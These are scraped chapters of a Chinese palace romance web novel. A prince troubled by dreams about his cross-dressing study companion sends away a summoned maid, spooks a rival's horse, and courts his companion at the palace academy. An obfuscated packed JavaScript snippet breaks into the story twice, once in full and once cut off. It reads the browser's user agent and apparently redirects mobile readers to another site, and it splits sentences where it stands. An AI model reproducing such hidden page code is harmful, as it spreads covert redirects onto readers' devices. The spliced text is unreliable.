张德顺闻言很是疑惑,却还是应了下来。 屋里的林翊已从床上站起,不停地在殿内踱着步。 他的心很乱。 他想不明白自己怎么会做那样的梦。 他觉得自己就是再缺女人也不该在梦里对自己的好兄弟下手!还将对方想象成了女子……简直太禽兽了! 厌弃、恶心、荒唐,还有更多无法用言语描述的情绪在林翊的胸口堆积,令他十分烦闷。 阿言是男子,他怎么能这样亵渎阿言? 这其中或许有什么别的原因? 林翊绞尽脑汁,然后他想到了某个能勉强说服自己的理由——他长大了,有那方面的需求了,自然会做那样的梦,而梦中人的脸之所以会是阿言,是因为他从未见过比阿言更好看的女子,所以才会不自觉的代入。 是的,一定是因为这样。 林翊在心里对自己默默说道。 “殿下,水来了。”张德顺在门外低声说道。 林翊闭眼稳了稳心神,道:“进来。” 张德顺推门走进,低垂的眼眸一下就看到了林翊光着脚站在地上的场景,当即被吓了一大跳,忙将手中的脸盆放到就近的桌上,上前欲给林翊穿鞋:“殿下!夜里地凉,您可别受寒了。” “无妨。”林翊摆了摆手,却也顺势将鞋穿上,随后接过张德顺打湿的帕子净了面,擦干净脖子上的汗,再将帕子递回。 张德顺收拾好帕子与桌面,又在旁边站了一会儿,却始终没有听到林翊再次发话。 此时夜已经很深了,张德顺偷偷抬头打量了一眼林翊,发现对方的脸上泛着一抹可疑的红晕。 张德顺不明所以,悄声问道:“殿下可还有别的吩咐?” 夜风入窗,轻拂竹帘。 林翊静静站了半晌,对张德顺招了招手。 张德顺狐疑上前。 林翊凑到他耳边低声吩咐了一句。 张德顺不敢置信地瞪大了眼睛:“现……现在?” “对,快去!”林翊的脸更红了一些,有些羞恼的喝道。 “是,我马上就去。”骤然被喝,张德顺不仅不害怕,反而放松了很多,他忍着笑意,飞快地端上脸盆走了出去。 殿下这是长大了啊! 林翊尴尬地抿了抿唇,烛火轻晃,微暗的光线映照在他的脸上,显得有些阴晴不定。 不出一刻钟的时间,张德顺又重新回了来。 他身后还跟着一个宫女,那宫女虽低着头,但她身材玲珑,体态极好。 “殿下。”张德顺谄媚笑道,“人我找来了。” 林翊“嗯”了一声。 张德顺还想再说什么,却被林翊挥手打断:“你退下。” 竟这般心急?张德顺心下诧异,然面上丝毫不显,恭恭敬敬地退了出去,退出前他隐晦地给那宫女使了个眼色,示意她好好表现。 宫女有些害羞,脸不由垂得更低了。 张德顺退出房间,很有眼色地将门也带了上,自己就守在门外。 屋里一片安静,远处隐隐传来打更的声音。三响更声过后,屋子里更加安静了下来。 迟迟没有等到殿下吩咐的宫女有些不知所措地抓了抓身侧的衣摆。 她知晓自己今夜是来干什么的,可她不知要如何开头,难道得她主动? “抬起头来。”林翊突然说道。 宫女闻言,紧张地抬起了头,却又在与林翊的视线对上时,红着脸,羞赧地垂下了眼。 看着眼前少女含羞带怯的娇美模样,林翊的心里却起不来一丝波澜,反而隐隐升起一丝不耐。 他忍着烦闷,强迫自己好好打量眼前之人。 张德顺显然是个有眼力见的,他找来的人姿容很是不俗,这宫女看着不大,她的眼睛很亮,睫毛很长,嘴唇很红,是个标准的美人。 夜风再次入窗,灯火不停闪动,一只蛾子趁着宫人不备,艰难地飞进屋中,看见那跳动的烛光便不顾一切地飞了过来,翅膀触到跳动的灯火,立时便被火烧着了,那蛾挣扎了一下,奋翅飞起,想摆脱那团火焰,却终是“啪”的一声掉在了地上。 林翊怔怔看了面前人许久,缓步靠近,伸出一根手指托起对方的下颚。 宫女顺势抬头,随着她的动作,珍珠耳坠在她耳下轻轻晃动,在莹白的侧脸上投下小小一道阴影,瞧着很有一股别样的婉约细腻,楚楚动人。 林翊看着看着,倾身向她靠近,宫女两颊上的红晕越来越明显。 就在两人的双唇即将相贴之际,林翊一把推开了面前的宫女:“出去。” 宫女被林翊这突如其来的动作吓了好大一跳,踉跄着两步,脸色瞬间苍白,捂着胸口泫然欲泣:“殿下……” 林翊皱眉:“我说出去,滚!” 一声“滚”字落下,宫女满脸惊惧,一时也顾不得其他,跌跌撞撞地往外跑去。 守在门外的张德顺看到房门突然打开,很是吃了一惊。 这就完事了?殿下也太快了吧? 张德顺心下狐疑,可一看宫女脸色不对,当下也顾不得其他,当即冲进门去,扑通一声跪下:“殿……殿下,可是那宫女伺候的不好?” 人是他找来的,若殿下怪罪,他这个找人的也落不得好。 林翊揉着眉心:“不关她的事,你明日给她些赏银,再将她打发去远些的地方。”顿了顿,林翊补充了句,“给她挑个清闲些的好去处,别亏待了。” “是。”张德顺应道,悄悄抬头打量了林翊一眼,问,“可还要奴才再去寻个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948308|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人来?” “不用!”林翊飞快、果断地拒绝,还补充了一句,“今日的事也不准透露给第四人知晓!” “明白!”张德顺应的大声又郑重。 林翊终于将目光投向了他,见他趴在地上,不解问道:“你跪着作甚?” “奴才刚刚腿软。”张德顺小心翼翼起身,确认殿下真得没有生气,才彻底放下了心。 “退下吧。”林翊挥了挥手。 “喏。”张德顺躬身退了出去。 屋外树影摇动,碎了满天月光。 林翊重新躺回床上,却怎么也睡不着了,夜不能寐、辗转反侧,好不容易熬到天亮,当即起床唤来随侍的太监洗漱,草草用过早膳便动身去了南苑学宫。 他必须马上见到阿言! 可他过去的太早,学宫里一个学生也没有,叶青言自然也没有到。 林翊很失望。 等他察觉到自己此次的行为有多么草率时,他整个人都僵住了,瞳孔微缩,眼睛睁得老大,就像一只在夏日里被冻住的鹌鹑一般,模样很是好玩。 还在讲堂里做擦拭座椅、安置冰盆等准备工作的侍童们看到早早就过来的二殿下都很惊讶,但众人都很有分寸的没有表现出来。 没见二殿下的脸色一看就很不好吗? 他们可不敢去触霉头,连走路干活的声音都不由自主地放轻了很多,就怕吵到这位一反常态的小主子。 陆陆续续开始有其他学子来到学宫。 每个进门的少年在看到已经坐在讲堂里的二殿下都很吃惊,可碍于对方没什么表情的脸色,一时也无人敢上前寒暄,只恭敬行了一礼,便坐回自己的位置。 这一日清晨的讲堂,没有人大声喧哗,显得尤为安静。 直到三皇子林竑和四皇子林端到来,屋里才稍稍有了些许欢声。 随着时间推移,林翊的脸色变得越来越沉。 都这个点了,阿言怎么还没有来? 林翊左等右等,最后等来了叶青言今日请假的消息。 这个消息还是姗姗来迟的沈昭带给他的。 一时间,林翊的脸色变得十分难看。 “阿言怎么只告诉你,却不通知我?”林翊的话音里带着连他自己都没有察觉到的妒意。 沈昭当然也没听出来,他不甚在意地掩嘴打了个哈欠,道:“你在皇宫里面,通知你多麻烦啊,当然是告诉我就好,你这不也知道了。” “不过就是传句话的事情,哪里就麻烦了?”林翊不满,又有些委屈。 沈昭闻言一怔,放下捂着嘴巴的手,奇怪地看着自家表哥,不解说道:“往宫里递话还不麻烦?不说阿言,就是我想给你递句话都很麻烦,表哥你莫不是站着说话不腰疼?” “……我就是说说。”林翊抿了抿唇,他也觉得自己有些无理取闹。 可他就是烦闷,甚至有些难过,这种情绪让他很不适应,很不喜欢,于是有些不悦。 沈昭可理解不了他的少男心思,大喇喇往旁边一坐,叹道:“无怪谢老头那样喜欢阿言,腿都伤了,居然只请一天的假,换了是我,不得请他个十天八天!” 想起叶青言的腿伤,林翊微微眯起眼来。 “今日下学你随我一起去趟成国公府。”林翊说道。 “好啊!咱们一起去探望阿言。”沈昭兴奋地说,顿了顿,又道,“你昨日才出过宫,今日还能再出去?” 林翊一滞:“中午我亲自去和母后说。”他今天必须得见到阿言! 这日下午有一节跑马课。 跑马场上,薛明庭的马儿在竞跑时突然受了惊吓,马儿不受控制的到处乱窜,薛明庭在马上哭天抢地,模样十分难看,最后还是被马儿甩下了马背,四肢着地,两条腿当场摔断。 17. 过府探病 黄昏,彩霞漫天。 穿云院里绿植遍地,却鲜少能见花色,唯有花厅窗外的一株紫薇顽强地开着,偶有清风拂过,落英簌簌无声。 靠窗的台墀之上,沈昭与林翊、叶青言相对而坐,三人中间摆着一张长几,几上放着一壶清茶和几碟模样精致的糕点。 沈昭占据着长几的其中一侧,手舞足蹈地对叶青言讲述今天下午发生在赛马场上的事。 “我只稍稍用你的名字一激将,薛越就没有脑子地上套了。” “啧啧啧,那马骑的,简直跟拼了命似的,狂甩马鞭,就为了能跑过你上次跑出的最好成绩。” “而这正是我们想要的结果,当时薛越的马在前,二表哥的马在后,二表哥什么也没做,就那么轻轻一侧身,系在他腰间的长剑就捅到了薛越骑着的马屁股里,那马当场受惊,狂奔向前,直接冲破周围的防护进了林子。”沈昭说着哈哈大笑起来,“阿言你是没有看到薛明庭当时那受惊的怂样儿,连呼救声都带着浓浓的哭腔,丢脸,简直太丢脸了!我要是他,以后都不敢出门见人了。” “薛明庭又岂是什么要脸的人?”林翊喝了口茶,淡淡讽刺道。 沈昭眨了眨眼,崇拜地看着林翊:“表哥你可太厉害了,捅他马屁股的那一下简直了,精准无误,悄无声息。” “太冒险了。”叶青言突然说道,话音里带着显而易见的不赞同,她望着林翊,眉头深锁,“殿下,您不该这时候对薛越出手。” 林翊把玩着手中瓷白的杯盏,修长的手指莹白如玉,色泽丝毫不逊杯盏半分,闻言,挑了挑眉,问道:“为何不该?” “我昨日才因薛越伤了腿,今日他便也摔断了腿,世间哪有这样巧合的事情?我又是您的伴读,这事儿无论怎么想都不可能与您无关。”叶青言叹了一声,“眼下情势紧张,您实不该为了我而再生事端。” 林翊定定看着叶青言,半晌,放下手中茶杯,抬手抚向叶青言的眉心,温声说道:“小小年纪,少皱点儿眉,小心以后未老先衰。” 没料对方会突然上手,叶青言呆了一呆,抬眸想要拉开对方,却直直撞进了对方正含笑看着自己的眼睛里。 林翊浅浅地笑着,眸中含着一点亮光,神情看似玩世不恭,笑起来时眼角却会微微翘起,带着点桃花眼的味道,很是蛊人。 叶青言一时忘了动作,就这么怔怔地与他对视。 看着叶青言这仿佛呆鹅似的模样,林翊眼中的笑意更浓了,他有些得意,心想美男计果然很有用。 沈昭看了看林翊,又看了看叶青言,发现这两人又开始当他不存在了……沈昭很是无语地拿起一块糕点,塞进嘴里,咔嚓咔嚓嚼了起来。 林翊柔柔的目光一下就变成了两把小刀子,狠狠地扎向沈昭。 沈昭莫名其妙:你瞪我干嘛?我吃块糕点怎么了? “殿下,我在跟您说正事。”叶青言终于醒过神来,她往后侧偏头,躲开林翊伸来的手,严肃说道。 林翊顺势将手收回,与另一只手交叉搁在身前,笑说:“你别担心,我有分寸的。” “观殿下今日所为,我没看出您分寸何在。”叶青言说道,她的表情依旧很认真。 林翊听罢,也不在意,还心情颇好地又笑了一笑,清透的长眸灿如星辰:“他薛明庭既然敢对你出手,自然要付出双倍的代价,此次我若任由你受伤而无作为,让别人怎么想我?连自己的贴身伴读被人欺负了都无动于衷,日后又还有谁会死心塌地地跟随我?” 叶青言听罢无言,过了良久才道:“会有这种想法的,都是如你我这般年岁的少年人,在朝为官的大人们若是得知了此事,只会觉得殿下您莽撞,意气用事、不堪大用。” “我所要争取的,正是年轻一代的支持。”林翊说道,语声淡淡,却是举重若轻,“朝中的那些大臣,尤其是身居高位的那些老家伙,他们的看法,并不在我的考虑范围之内。” 叶青言闻言又是一怔,她隐隐有些明白林翊话中的含义。 林翊也没有让她思考太久,只停顿了短短一息,便开口再道:“父王尚在壮年,却已经有人想着拉拢他手底下的官员,并为此付诸了行动,你若是父王,会如何作想?” 叶青言认真思考了片刻,说道:“我会很生气。” 林翊笑了,说道:“父王也是人,也是吃得五谷杂粮。” 那他自然也会生气,这是林翊没有说出口的话。 叶青言诧异地看着林翊,目光如有实质,仿佛欲将人剖析开来。 二殿下无疑是聪慧的,关于这点,叶青言从未有过怀疑,可眼下却是叶青言第一次见识到林翊对人心的洞彻。 他还这么少年,却已将世情看的这样透彻。 叶青言对此非常惊讶,但很快便了然了过来。 殿下身在皇宫,帝后又关系不睦,要在那样群狼环伺的环境下护住自己和皇后娘娘,自然得有洞察人心的本事。 林翊毫不避讳地与叶青言对视。 在桌子的另一边,沈昭没兴趣听叶青言两人说这些事情,百无聊赖,索性挪到窗边去扯窗外的紫薇花瓣。 有几只蝴蝶正在紫薇丛中飞来飞去,沈昭扯动花枝,惊得蝴蝶们四散逃开。 然而穿云院里并没有其他绽放的鲜花,唯有这一株紫薇,飞走的蝴蝶无法,只得又飞了回来,试探着重新落回花瓣,随着花枝颤动又再次飞起。 沈昭看着有趣,竟兴致勃勃地同蝴蝶玩了起来。 林翊此时的眼神极其明亮,宛如出鞘的剑锋,和这样锐利的眼神对视,很容易就会落于下乘,叶青言却是不闪不避,她很清楚自己一旦露了怯,殿下之后便再不会同她讲这些事情。 林翊微低着头,看着叶青言坦坦荡荡的目光,内心五味杂陈,刚刚有那么一瞬的时间,他竟希望阿言能避开自己的视线,如此他便能一直将阿言带在身边,什么朝政民生,统统与之无缘。 可若阿言真地避开,又岂还是他心目中的阿言? 林翊的神情越来越平静,心情也随之变得越来越轻松,然终有抹说不明白的惘然残留。 夕阳被层层叠叠的屋舍掩住,唯见余辉黯淡。 “我不去拉拢朝臣,除了顾及父皇的忌惮外,也是因为我很不喜欢朝上的那些老家伙。”林翊毫不掩饰自己话中的嫌弃,淡声再道,“他们已经老了,腐朽了,却依旧占着最重要的位置,他们不求上进,只知道玩阴谋手段,这样的人无论是对朝廷还是对百姓都已经没有了价值,拉拢他们不过是拖累自己。” “不错!”沈昭突然大声接道,人也从窗边重新走回,林翊所言极合他的心意,“年轻人就该跟年轻人一块玩儿。” 林翊淡淡瞟他一眼。 沈昭浑不在意,颇有些得意地昂起下巴:“我就超级会玩。” 叶青言见状失笑:“你还挺自豪啊。” “当然!将想做的事情做到极致是我的原则。”沈昭理所当然说道,“玩也一样。” “你怎么确定自己一定是最会玩的那个?”叶青言表示怀疑。 沈昭咧嘴一笑,非常自信:“阿言你难道没听人说过这京里最精通玩乐的人是谁?” 叶青言摇头:“莫不是你?” “无需怀疑,就是你的好兄弟我!”沈昭拿起搁在旁边的折扇,刷一下展开,“京城谁人不知,沈小爷我只要在城中转上一转,便知谁家新酿的酒最香,何处的琴曲最妙,哪儿的姑娘最娇美。” 沈昭说着说着,突然不怀好意地笑了起来,倾身凑到叶青言面前:“下次我带你一起去玩啊。” 林翊本不想理会沈昭的胡言乱语,可见他欲拉上阿言一起,心中警铃大作,抬手一把揽过叶青言,训斥沈昭道:“你给我一边去,不许带坏阿言!” “怎么 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沈昭很不服气:“玩怎么了?像我这样的有钱公子哥,文不成武不就,既经不了商,又种不来地,也只有通过玩儿才能稍微为朝廷做出那么一点贡献,自然得多多去玩。” “歪理还挺多。”林翊冷笑。 “怎么就是歪理了?”沈昭争辩,“我出去游玩,可是花了大笔银子的,每一样吃食,每一种用具,都是合规购买,这一进一出之间,岂非也为百姓提供了谋生之途?” 林翊脸上的笑容更冷了:“这话听着怎地这么耳熟?” 便是叶青言也忍不住摇头失笑。 沈昭嘿嘿一笑:“买卖推动社稷发展,这是表哥你曾在辩道会上说过的观点,小弟今日借来一用。” “我是你这个意思吗?” “你不是,但你也不能否认我说的有理。”顿了顿,沈昭又补充了一句,“歪理也是理!” 林翊:“你若敢拿这道理与姑母去说,我便认了此理。” 沈昭一噎:“我要真去说了,你明天不得再出宫一趟。” 林翊听罢若有所思。 左右看了看两人,叶青言好奇问道:“为何?” 沈昭一摊手:“来沈府探望被打断腿的小爷我呗。” 叶青言再次笑出了声。 林翊支起下巴沉思。 “喂喂喂!二表哥你不会真的在考虑吧?”沈昭大惊。 林翊闻言回神,说道:“是啊,断了腿便哪儿也去不了了,如此你不就能静下心来好好读书了?” 林翊说得平静,内心却十分尴尬,因为他刚刚是真的在想这事的可行性。 淮之若伤了腿……也不用他真的受伤,只需这个由头,自己便能顺势留在宫外……再想个法子留宿国公府,与阿言抵足而眠…… 想到抵足而眠,林翊脑中不由再次浮现昨天梦里的画面……当即脸色爆红。 “殿下?”叶青言疑惑地看着林翊,关切道,“您怎么了,怎么突然脸这么红?” “我没事。”林翊飞快否认,拿起茶杯喝茶,以掩饰慌张,“就是觉着有些热。” “是挺热的。”沈昭也说,末了,十分不解地打量了叶青言,诧异道,“阿言你怎么在家也穿的这般端正,这里三层外三层的,你不热啊。” 叶青言微一停滞,置于桌下的手指稍稍收紧,复又缓缓松开:“我不热,你们很热吗,那我让人再送些冰来。” “不用!”林翊连忙拉住叶青言的手阻止,“你腿还伤着,就别管这些了,我们无妨的。” 接受到自家表哥锐利目光的沈昭,只能咽下即将出口的“太好了”三个字,不甘不愿地点了点头:“我也不用,其实也没有那么热,呵呵呵。” 先说热的是你,不让送冰的也是你,阿言不就是起来出去吩咐一声,她只是腿伤了,不是腿瘫了,用得着这样护着?人家明天还要早起去学宫呢!你倒是阻止她啊!沈昭暗暗腹诽。 18. 各自变化 天边挂着一轮月,月旁缀着几点星,夜空灿烂,即便是心情再糟糕的人见了今晚的夜色,也无法否认这是个好夜。 夜幕下,有人斜倚窗前,一阵风来,带动他墨色的发,靛蓝的衣,他的身形修长而美好,萧萧仿如松下风。 可他的面色却一点儿也不好,脸沉入墨,神情十分古怪,这种神情从来不曾在他的脸上出现过。 这人自然就是林翊。 他又做梦了。 做得还是与昨日同样的春梦。 他梦中的叶青言,娇音婉转,粉面如桃,那场景,光是想想,便足以让林翊脸色难看。 他想不明白自己为何会这般,一而再的在梦里亵渎阿言。 一想起梦里的阿言抱着自己的脖子,用那双含着春水的眸子看着自己,更哑着声音喊自己名字的娇媚模样,林翊就再也无法闭上眼睛,他甚至不敢再在床上躺着! 也因此,才有了他大半夜站窗边吹风的这一幕。 夜风微寒,稍稍拂去了些许燥意,林翊的心绪渐渐平稳下来。 他开始认真地思考自己为何会接连两日做相同的梦。 莫不是有人在背后算计他? 这么想着,林翊转过身,仔细打量起屋内的环境。 一张黄花梨木床,一顶轻纱幔帐,一排摆满了古董玉器的博古架,一架西洋钟,一张雕了骏马图的罗汉床…… 林翊的目光缓缓扫过房间的每一个角落,半晌,收回目光,重新面向窗外,望着夜色的眉眼极清极寒。 入睡的地方并无任何不妥,林翊很清楚地明白这一点,没有人会愚蠢地在皇宫里做出伤害他身体的事来,尤其是在这样紧张的朝局之下。 其实,若那梦真因阴谋而生,林翊反而乐见。 他一点也不担心有阴谋,他本就是在阴谋里长大的,是那些尔虞我诈造就了如今的他。 可林翊知晓,这世间没有任何一种阴谋能控制一个人的梦境。 那自己究竟为何会做那样的梦? 夜树里,忽地响起几声蝉鸣。 这是夏天的夜晚,不可能悄寂无声。 林翊抬眼望向蝉鸣响起的方向,内心思绪万千。 难道自己真有龙阳之好? 这个念头只出现了一息,就被林翊坚决、果断地抛诸脑后。 林翊非常确认自己对男子没有半点性趣。 可这个想法刚一生出,林翊的脑中立即浮现了一张脸,一张漂亮到有些艳丽的脸。 那是叶青言的脸。 诚然,叶青言生得极好,可气质使然,她看着并不艳丽,反而有种少年风流的韵味。 林翊之所以会觉得脑中的面庞艳丽,是因为出现在他脑海的不是他平日常见的叶青言,而是这两日出现在他梦中的叶青言。 那个长发铺散在榻,脸泛绯红,眼波盈盈的叶青言。 或许……得除去阿言。 除了阿言,他对别的男子并无性趣。 突然冒出的这个念头,让林翊好不容易平复的内心,再度砰砰跳起,紧随掀起滔天巨浪。他双目一眨不眨,死死地盯着夜幕中的一株香樟,似乎想从上面盯出个窟窿来。 恍然间,林翊好似有些明白自己为何会做那样的梦了…… 他的脑子像是一下子被人强塞了很多东西,一会儿犹如醍醐灌顶,一会儿又很茫然,他需要好好消化一下。 不同于宫里心乱如麻的林翊。 这一晚的叶青言睡得极好,一觉到天明。 第二天一大早,叶青言便收拾妥当进宫,她要比平日早出门了两刻钟,眼下她行动不便,不能让腿伤耽误了上学的时间。 当马车抵达宫外时,四周一片安静,他们到得太早,前方一辆马车也还没有。 叶青言就着远山地搀扶下了车。 车夫适时递了拐杖过来。 叶青言接过拐杖拄好,抬起空闲的那只手,示意远山将她的书袋递来。 远山拿起书袋,却没有立即递给叶青言,而是巴巴说道:“少爷,这书袋有些重,就让小的帮您背到宫门口吧。” 叶青言微怔,有些莫名,但也没有阻止。 远山满脸高兴地背起自家少爷的书袋,昂首挺胸地跟在身后,那模样瞧着,仿佛不是送人去上学堂,而是送人去当官的。 想他远山,终于还是等来了这一天!真真正正给少爷做书童的一天! 这让他怎么能不激动? 可还没等远山背着书袋走上几步,就看见一个太监急急地从宫门方向小跑过来,后面还跟着一台轿辇。 那太监上前,对着叶青言躬身行礼:“叶公子,您总算来了,奴才们等您好一会儿了。” 来人正是在林翊跟前伺候的大太监张德顺。 “张公公?”叶青言见人很是诧异,“你们这是?” 张德顺笑得谄媚:“知晓您伤了腿,走路不便,所以殿下特意给您准备了轿辇。” 话毕,张德顺转身往旁边让了让,抬着轿辇的四人立马上前,将轿椅停在叶青言跟前。 张德顺抬起小臂,微笑示意:“叶公子,您请。” 张德顺是个很有眼色,又极懂分寸的人。 作为林翊的贴身太监,他不仅仅只了解了自家殿下的习惯喜好,也适当探知了与殿下交好的几位公子的习性。 比如叶青言,张德顺就知她有洁癖,不喜旁人碰触。所以这会儿,张德顺并没有直接伸手去扶叶青言,而是很有分寸地抬起小臂,对方若有需要,自会探手来扶。 叶青言很喜欢张德顺的这种分寸感,再加上对方内官的身份,便也不刻意避着,笑道:“有劳张公公了。” 说罢,叶青言递出拐杖,就着张德顺的搀扶,缓慢但稳稳地坐上了轿辇。 张德顺自然地接过叶青言递出的拐杖,末了又朝远山伸出手去,说:“前方就是宫门了,小哥你也不必再跟,把书袋交我拿就好。” “……”远山抿了抿唇,不情不愿地递出了书袋。 他只是想做个正正经经的书童,怎么就这么难! 学宫里安静一片,林木深处隐有鸟语声声。 抬着叶青言的轿辇穿过学宫大门,走过集贤门,最后在张德顺的指挥下,停在了太学院的正门口。 早在轿辇抵达学宫门口时,叶青言就说了之后的路她可以自己走,但张德顺没有依她之言放下她,而是将她一路抬到了此处。 轿辇落下,叶青言对张德顺伸出了右手。 她以为张德顺会第一时间来扶她,最起码也会将她的拐杖递还给她。可这两件事张德顺都没有做,他放下手里的拐杖,对正门方向恭恭敬敬行了一礼。 叶青言诧异看去,就见林翊从里面走出来。 林翊今日穿了一身苍青色的常服,乌发玉带,衬得他眉眼如画,朝阳从云层的边缘漏下来,落在他的脸上,散射出淡淡的光线,而更显得他俊逸非凡。 林翊定定看着叶青言,只觉得这人一出来,萦绕在自己周围一整夜的阴霾,便都烟消云散了。 “殿下?”叶青言很是惊讶,显然是没有想到林翊竟会来得这么早。 诧异过后,叶青言撑着轿凳就想站起行礼。 林翊见状,忙快步走了过来,一把按住叶青言,说:“你还伤着腿,就不要讲这些虚礼了。” 叶青言微笑摇头:“这里毕竟是皇宫,礼不可废。” 话毕,叶青言又要站起。 林翊无法,只能亲自将她扶起,由着她给自己行了个揖礼。 早间的日头并不毒辣,还伴着微微的清风。 看着不卑不亢行礼的叶青言,林翊表情平静,心情却完全不似表面这般平静。 阿言对他,终究是尊卑先于情分的,在她的眼里,自己先是皇子,而后才是竹马。 林翊深知叶青言严谨的个性,对于这个认知,他并不如何愤怒,只是有些微酸。 “我们先进去吧。”林翊敛下心中的酸意说道。 叶青言颔首,正想转身问张德顺要拐杖,却被林翊一把扶住了胳膊。 “殿下?”叶青言一怔,待反应过来,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“有吗?我自己怎么没觉得,你指指看我哪儿瘦了。”林翊说着,不着痕迹地往叶青言身边凑了凑,他坐在靠窗的位置,日光将他的影子拉长,随着他的动作,他的影子瞬间便将叶青言给笼罩了住。 “就是一种感觉,殿下您没发现吗?每到夏时,身子总会变得轻快一些。” 林翊认真地想了想:“你这么一说,好像还真有。” “是吧。”叶青言抿唇一笑,心下大松一口气的同时,又生出了无限的担忧。 近两年,随着年龄的逐渐增长,叶青言发现自己越来越难以掩盖身上那属于女子的一面。 尤其是来了葵水之后。 尽管她每天都早起锻炼身体,却依旧改不了身子越来越柔软的现状。 她不再快速抽长,平坦的胸脯也开始慢慢发育,肩膀和四肢也随之变得越来越纤细。 叶青言曾经想过,要不她干脆多吃一点,把自己吃成一个大胖子,这样就不会有人看出她的性别。 可庆朝男子以挺拔修长为美,无论皇帝还是百姓都极其看重人的颜色,一个人若长得好看,官品都会升的比别人快些。 自己若真小小年纪就成了胖子,只怕连官场的门都进不去,更遑论重新撑起国公府的门楣。 母亲第一个不会答应,叶青言只能打消了这个念头。 讲堂里一片安静。 有风从窗外拂来。 摊在红木讲案上的一本书册被风吹出沙沙沙的翻页声。 叶青言看了一眼,将桌边的书袋提了起来,把里面的书本和笔墨都拿出来摆好,见林翊的桌面还是空的,叶青言往桌下看去,问道:“殿下您的书袋呢?” 在叶青言整理桌面的时候,林翊就一直垂眸盯着她看,看着她漆黑的长睫在脸颊落下的密集影子,随着她倾身的动作,林翊的目光又落到了她的耳垂之上,小巧的耳垂被朝阳映得晶莹剔透,仿佛贝壳般玲珑秀美。 “殿下?”见人迟迟没有接话,叶青言疑惑地抬起头来。 对上叶青言茫然的视线,林翊猛地回神,艰难地挪开眼,目光却又落到了对方扣在桌面的手指上,皙白如玉,用着力,袖子下滑,露出一小节皓腕。 那肌肤白的恍神,让林翊不自觉地想起夜里那些缠绵的梦来。 林翊的呼吸错了一瞬,狠狠避开眼,以遮掩那些旖旎的心思。 “在这呢。”林翊递过去一个书袋。 19. 人性向善 日光渐盛。 光线中的红芒渐渐消散,天光愈明。 讲堂里,依旧只有叶青言和林翊两人,他们并排而坐,轻风不时入窗,吹拂书页与衣摆。 林翊垂眸看着桌案上同样被风吹开的两本书册,和两人几乎被风缠到一起的衣摆,一股隐秘而又热烈的情绪不觉激荡在胸肺之间,几欲喷薄而出。 就连风都觉得他们应该交缠在一起! “昨夜夫子布置的课业,还要劳烦殿下告……”叶青言说到一半,猛地住了口,抬起的目光怔怔然对上了林翊清凌凌的眸子。 不过一夜未见,叶青言却觉得林翊的气场变了,尤其是他看自己的眼神,似乎比以前多了一份侵略性。 嗯?侵略? 叶青言眨了眨眼,细细观之,却见林翊目光慵懒散漫,没有丝毫侵略之感。 她刚才,是看错了……吧? “怎么了?突然这么看着我。”林翊似笑非笑问道。 “没什么,只是有些好奇殿下今日怎会这么早就过来南苑?”叶青言平静地收回目光,将被风翻开的书本一一合上,嘴上淡淡说道。 关于这个问题,叶青言已经好奇好一会儿了,在她的印象里,林翊并不是个喜欢早起的人。 “我昨天也是这么早过来的。” 林翊说话的语调轻缓,显得特别的漫不经心,却惹得叶青言诧异地又望了过去。 林翊见状挑眉:“怎么?阿言这是怀疑?” 叶青言摇头:“您没必要在这种事情上骗我,我只是好奇。” “好奇我为什么来得这么早?” 叶青言点头。 “我是为了早点过来陪你。”林翊说话时的神情很淡然,还带着浅浅的微笑,仿佛这回答再平常不过,但实际上他很紧张,紧张得手心都在冒汗。 “为了陪我?”叶青言小小地、不确定地重复了一遍,乌黑的眼眸微转。 林翊“嗯”了一声,说道:“腿伤容易给旁人带去不便,以你的个性定会早些过来学宫准备,这点我料想得到,所以便早点来了,免得你一个人待着无聊,我还给你带了好些新鲜的樱桃。” 略微停顿片刻,林翊才又说道:“不想你昨日竟请假了,也不差人告知我,害我好一阵等。” 叶青言觉得自己一定是听错了,刚刚那一瞬间,她竟好像从殿下的话音里听到了委屈。 二殿下,委屈? 简直荒唐! 林翊确实表现出了委屈。 他是故意的。 对于既定的目标,林翊从来百折不挠,不达目的绝不罢休。 不论前方有多险阻崎岖,也不论何种手段图谋。 这些话,昨日因为沈昭也在所以他没有对阿言说,眼下只有他们两人,说来正好合适。 “殿下厚爱,是思砚考虑不周……”叶青言下意识就想告罪,可视线刚一触及林翊的眼,便将到嘴边的话语收回,转而笑道,“下回若再有类似的事情发生,我定第一时间遣人告知殿下您。” 林翊虽贵为皇子,却是真心将自己视为知交,这点叶青言看的分明,她不想大清早的就败了对方的兴致,故而转了话头。 林翊闻言一喜,眼角眉梢都不自觉地挂上了笑,使得他本就出色英挺的五官更显蓬勃,任谁见了都能看出他心情极好。 叶青言诧异于林翊这突如其来的欢喜,然没等她细想,对方便又开口了。 “第一时间?比淮之还要早些吗?”林翊说道,还特别加重了淮之两字。 叶青言听了,先是一怔,继而失笑,笑容明亮又干净。 原来是在跟淮之置气啊,还真是…… 莫名地,叶青言松了口气。 “嗯,第一时间,肯定要比淮之早些。”叶青言回答,语气很认真,可话才落音,就见林翊定定看着自己,目光灼灼,不由奇怪。 “殿下?” 林翊回过了神,笑得吊儿郎当:“那就这么说定了,只要是阿言你的事情,不管是什么事儿,我都要做第一个知道的人。” 叶青言看着林翊,一会儿,似是想到了什么,狐疑问道:“殿下,您今日有些奇怪,你们……你和淮之,你们不会是拿我打什么奇奇怪怪的赌吧?” 林翊一噎,立马否认:“当然没有!我们怎么可能会拿你打赌。” 叶青言微微眯眼,依旧是一副怀疑地模样。 “我真没有!”林翊大声强调,身子也不由自主地往叶青言的方向靠了靠,大有你若不信,我便不休的架势。 叶青言好笑地看着他,明明是那么凌厉不羁的一个人,此时看着竟有几分可怜可爱:“我自是相信殿下的。” “真的?”这下轮到林翊怀疑了。 叶青言点头,话音含笑:“真的啊。” 